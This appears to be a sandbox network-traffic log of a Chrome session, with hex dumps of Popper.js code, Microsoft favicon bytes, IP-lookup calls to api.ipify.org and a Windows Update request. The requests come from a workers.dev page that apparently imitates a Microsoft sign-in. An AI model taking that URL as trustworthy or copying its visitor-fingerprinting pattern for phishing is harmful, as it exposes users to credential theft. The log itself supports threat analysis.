2024-04-26 22:11:35 UTC	961	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:35 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 67217 Expires: Wed, 16 Apr 2025 22:11:35 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I8Ziqesq4yD%2BUtAs9NbxwcKw2Z3riSXmg699fQz9JkJkcyt4OLR020lC4iGyzJFVjuU1adxO%2B%2BVUrIRn4izWS2qqVj6PvHayLjT0F6C9%2BNSJz555lvKg6Ordx7xV2Bco%2B6NQd0dW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 87a9e8d19bb443a3-EWR alt-svc: h3=":443"; ma=86400
2024-04-26 22:11:35 UTC	408	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e Data Ascii: ==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#documen
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 Data Ascii: ){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bor
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 Data Ascii: op:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}retu
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 Data Ascii: ight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.w
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 Data Ascii: le.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={inst
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 Data Ascii: his.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pas
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 Data Ascii: turn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){re
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f Data Ascii: turn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functio
2024-04-26 22:11:35 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b Data Ascii: turn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49764	13.107.213.40	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:36 UTC	670	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://worker-curly-silence-18d1.pistisarte.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:37 UTC	737	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:37 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 61e1cd08-a01e-0004-0926-984996000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T221136Z-158fb666d5bh45phwu6u3e2b9c000000010g000000009gs4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 22:11:37 UTC	15647	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-26 22:11:37 UTC	1527	IN	Data Raw: 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 Data Ascii: @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49766	104.26.13.205	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:36 UTC	662	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://worker-curly-silence-18d1.pistisarte.workers.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://worker-curly-silence-18d1.pistisarte.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:37 UTC	249	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:37 GMT Content-Type: application/json Content-Length: 23 Connection: close Access-Control-Allow-Origin: * Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87a9e8dc18f5440c-EWR
2024-04-26 22:11:37 UTC	23	IN	Data Raw: 7b 22 69 70 22 3a 22 31 35 34 2e 31 36 2e 31 39 32 2e 31 38 35 22 7d Data Ascii: {"ip":"154.16.192.185"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49771	104.26.12.205	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:37 UTC	349	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:37 UTC	217	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:37 GMT Content-Type: application/json Content-Length: 23 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87a9e8dfae2180e0-EWR
2024-04-26 22:11:37 UTC	23	IN	Data Raw: 7b 22 69 70 22 3a 22 31 35 34 2e 31 36 2e 31 39 32 2e 31 38 35 22 7d Data Ascii: {"ip":"154.16.192.185"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49772	13.107.246.40	443	5548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:37 UTC	402	OUT	GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 22:11:37 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 22:11:37 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Fri, 02 Nov 2018 20:25:25 GMT ETag: 0x8D6410152A9D7E1 x-ms-request-id: 61e1cd08-a01e-0004-0926-984996000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T221137Z-15c5f47fdbczfdk8a8gndrc2rw00000000tg00000000c9n7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 22:11:37 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-26 22:11:37 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49774	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 22:11:57 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mBmGWnTfBOdFZCU&MD=gdc54tFd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 22:11:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: b117aea1-8c06-448a-a0fa-05f29aa31b46 MS-RequestId: e23d2219-74cd-4bcc-b44f-9a6bff2195a2 MS-CV: swf9LjVmskeZJ6yf.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 22:11:57 GMT Connection: close Content-Length: 25457
